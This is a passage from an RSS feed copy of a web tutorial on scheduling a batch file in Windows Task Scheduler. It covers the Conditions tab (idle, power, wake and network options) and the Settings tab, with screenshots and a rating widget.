<h3 id="ftoc-create-task-conditions" class="ftwp-heading">Create Task – Conditions</h3>
<p>These settings are related to the state of the computer.  If the task takes up a lot of resources or can interrupt the person using it, change the <strong>Idle</strong>.</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-24057 size-full" src="https://anonyviet.com/wp-content/uploads/2020/12/99-1.jpg" alt="Create Task – Conditions" width="476" height="155" srcset="https://anonyviet.com/wp-content/uploads/2020/12/99-1.jpg 476w, https://anonyviet.com/wp-content/uploads/2020/12/99-1-300x98.jpg 300w" sizes="auto, (max-width: 476px) 100vw, 476px" title="How to schedule a Batch file (CMD) on Windows 35"/></p>
<p>Part <strong>Power </strong>By default, only Start Task if the computer is on AC power (<strong>Start the task only if the computer is on AC power</strong>) and Stop if the computer switches to battery power (<strong>Stop if the computer switches to battery power</strong>) is enabled.</p>
<p>In most cases when you schedule batch files, you should be fine with the above options.  I put some computers to sleep to save power when they are not in use.  But if the computer is in sleep mode, the task will not run.  If that&#8217;s the case, you&#8217;ll need to check the dialog box <strong>Wake the computer to run this task.</strong></p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-24058 size-full" src="https://anonyviet.com/wp-content/uploads/2020/12/100.jpg" alt="Wake the computer to run this task" width="476" height="64" srcset="https://anonyviet.com/wp-content/uploads/2020/12/100.jpg 476w, https://anonyviet.com/wp-content/uploads/2020/12/100-300x40.jpg 300w" sizes="auto, (max-width: 476px) 100vw, 476px" title="How to schedule a Batch file (CMD) on Windows 36"/></p>
<p>Today, computers are almost always connected to the network.  However, if your task depends on a network connection, change the <strong>Network</strong>.<img decoding="async" loading="lazy" class="aligncenter wp-image-24059 size-full" src="https://anonyviet.com/wp-content/uploads/2020/12/101.jpg" alt="Network" width="476" height="92" srcset="https://anonyviet.com/wp-content/uploads/2020/12/101.jpg 476w, https://anonyviet.com/wp-content/uploads/2020/12/101-300x58.jpg 300w" sizes="auto, (max-width: 476px) 100vw, 476px" title="How to schedule a Batch file (CMD) on Windows 37"/></p>
<h3 id="ftoc-create-task-settings" class="ftwp-heading">Create Task – Settings</h3>
<p>Tab <strong>Settings</strong> related to the operation of the task.  By default, the Allow task runs on demand ( <strong>Allow task to be run on demand</strong>).</p>
<p>Some tasks may get stuck in a loop or not run because their trigger conditions are not met.  These are the settings you will have to adjust to solve that problem.  For most tasks, default settings are best.</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-24060 size-full" src="https://anonyviet.com/wp-content/uploads/2020/12/102.jpg" alt="Create Task – Settings" width="471" height="299" srcset="https://anonyviet.com/wp-content/uploads/2020/12/102.jpg 471w, https://anonyviet.com/wp-content/uploads/2020/12/102-300x190.jpg 300w" sizes="auto, (max-width: 471px) 100vw, 471px" title="How to schedule a Batch file (CMD) on Windows 38"/></p>
</p>
<div class="kk-star-ratings kksr-auto kksr-align-right kksr-valign-bottom" data-payload="{&quot;align&quot;:&quot;right&quot;,&quot;id&quot;:&quot;24041&quot;,&quot;slug&quot;:&quot;default&quot;,&quot;valign&quot;:&quot;bottom&quot;,&quot;ignore&quot;:&quot;&quot;,&quot;reference&quot;:&quot;auto&quot;,&quot;class&quot;:&quot;&quot;,&quot;count&quot;:&quot;100&quot;,&quot;legendonly&quot;:&quot;&quot;,&quot;readonly&quot;:&quot;&quot;,&quot;score&quot;:&quot;5&quot;,&quot;starsonly&quot;:&quot;&quot;,&quot;best&quot;:&quot;5&quot;,&quot;gap&quot;:&quot;5&quot;,&quot;greet&quot;:&quot;\u0110\u00e1nh gi\u00e1 b\u00e0i vi\u1ebft post&quot;,&quot;legend&quot;:&quot;B\u00e0i vi\u1ebft \u0111\u1ea1t: 5\/5 - (100 b\u00ecnh ch\u1ecdn)&quot;,&quot;size&quot;:&quot;24&quot;,&quot;width&quot;:&quot;142.5&quot;,&quot;_legend&quot;:&quot;B\u00e0i vi\u1ebft \u0111\u1ea1t: {score}\/{best} - ({count} {votes})&quot;,&quot;font_factor&quot;:&quot;1.25&quot;}">
<p>            The article achieved: 5/5 &#8211; (100 votes)    </p>
</p></div>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://en.anonyviet.com/how-to-schedule-a-batch-file-cmd-on-windows/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<media:content url="https://anonyviet.com/wp-content/uploads/2020/12/86.jpeg" medium="image"></media:content>
            	</item>
	</channel>
</rss>
